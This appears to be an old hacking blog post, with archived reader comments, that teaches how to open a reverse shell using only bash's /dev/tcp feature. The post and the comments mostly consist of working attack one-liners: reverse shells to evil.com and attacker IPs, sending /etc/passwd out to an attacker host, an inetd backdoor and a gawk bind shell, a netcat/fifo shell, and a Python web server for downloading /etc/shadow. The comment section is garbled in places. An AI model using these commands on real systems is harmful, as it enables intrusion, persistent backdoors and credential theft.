Reverse Shell with Bash
I am stuck at the Dubai International Airport and I have nothing else interesting to do. So, I though I might share a simple technique which will go into the Agile Hacking project. Here I will show you how to create a reverse command shell without using any 3rd-party tools such as the all mighty netcat.
When we compromise a machine we often need to provide ourselves with a user friendly access to the system. This is where command shells come into place. The typical shell consists of a generic network client, typically netcat, listening on a remote port which pipes output into something like bash or any other command shell. Another type of shell is the reverse shell which consists of a generic network client, again something like netcat, connecting to the attacker's machine and piping input to bash. Most of the time, the attacker will use netcat, because this tool can be easily found on most system or easily compiled from source if required.
Although netcat is very useful, and you may have to use it in most cases, here is a simple technique which emulates what netcat does but it relies on bash only. Let's see how.
In step one we start a listening service on our box. We can use netcat, or whatever you might have at hand.
$ nc -l -p 8080 -vvv
On the target we have to perform some bash-fu. We will create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.
$ exec 5<>/dev/tcp/evil.com/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done
There you go. Now everything we type in our local listening server will get executed on the target and the output of the commands will be piped back. Keep in mind that we don't use any 3rd-party tools on the target but its default shell. This technique comes handy in many situations and it leaves very small footprint on the targeted system.
Archived Comments
forloop in bash. This is a feature not an ingenious hack. Also, my example significantly differs from the example provided by the blog post suggested above. thanks for the heads up and apologies to those who think that I have ripped off their work. It is certainly not the case.
stablepackages. Which is good and bad at the same time.
/dev/tcp
!!
jkcat <&5
, will be:
while read line 0<&5; do $line 2>&5 >&5; done
there is also the $REPLY
var of the read builtin command.
thnks for the stuff gnucitizen.$ bash -i >& /dev/tcp/evil.com/8080 0>&1
Note: /dev/tcp
support is enabled by default on Redhat. Disabled on Debian. Would be nice to list here support for other well known distro (Suse?).for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
What you end up with is something like this:
bash-3.2$ for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
[1] 5579
79
bash: connect: Connection refused
bash: /dev/tcp/192.168.1.1/79: Connection refused
[1]+ Done echo $i
[1] 5581
80
[1]+ Done echo $i
[1] 5584
81
bash: connect: Connection refused
bash: /dev/tcp/192.168.1.1/81: Connection refused
[1]+ Done echo $i
bash-3.2$ for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
Closed ports give you back a "Connection refused"#!/bin/bash
exec 3<>/dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3
You'd feed the www.whatever.com on the command line.
usage:
./script www.whatever.com
#!/bin/bash
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3
/dev/tcp
and file transfer: Ok here is how to use this bash /dev/tcp
trick to move a file.
- On attacker's box: I want to move a file named test.txt to the victim box
cat test.txt | nc -l 3333
- I'll then connect out from victim to attacker's port 3333 and pull back the file
test.txt
bash -i >& /dev/tcp/attackersIP/8080 0>&1 > test.txt
- on attacker's box do
nc -l -p 8080 -vvv > passwd
- on victim box do
cat /etc/passwd > /dev/tcp/attackerIP/8080
(echo -e "GET /filename_you_are_moving HTTP/0.9\r\n\r\n" \
1>&3 & cat 0<&3) 3 /dev/tcp/AttackerIP/80 \
| (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; \
do read i; done; cat) > local_filename
Credit where credit is due:
http://www.pebble.org.uk/linux/bashbrowser- Pick an obscure service from
/etc/services
associated with a tcp port 1024 and above...for example laplinklaplink 1547/tcp # laplink
- Add the following line to
/etc/inetd.conf
laplink stream tcp nowait /bin/bash bash -i
- restart
inetd.conf
killall -HUP inetd
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
cd / && python -m SimpleHTTPServer
then
Python will start it's own web server listening on port 8000. You can surf to the victim on that port: http://victim:8000
and then transverse the entire file system and download /etc/passwd
and /etc/shadow
.
Tested on macos x 10.5.3 and Safari 3.1.1. For other *nix variants, your mileage may vary.mkfifo mypipe
cat mypipe|/bin/bash|nc -l -p 6000 >mypipe
(macubergeek == pdp) ? ;-P : ;-|
-l
option": "It is an error to use this [l-]
option in conjunction with the -p
, -s
, or -z
options."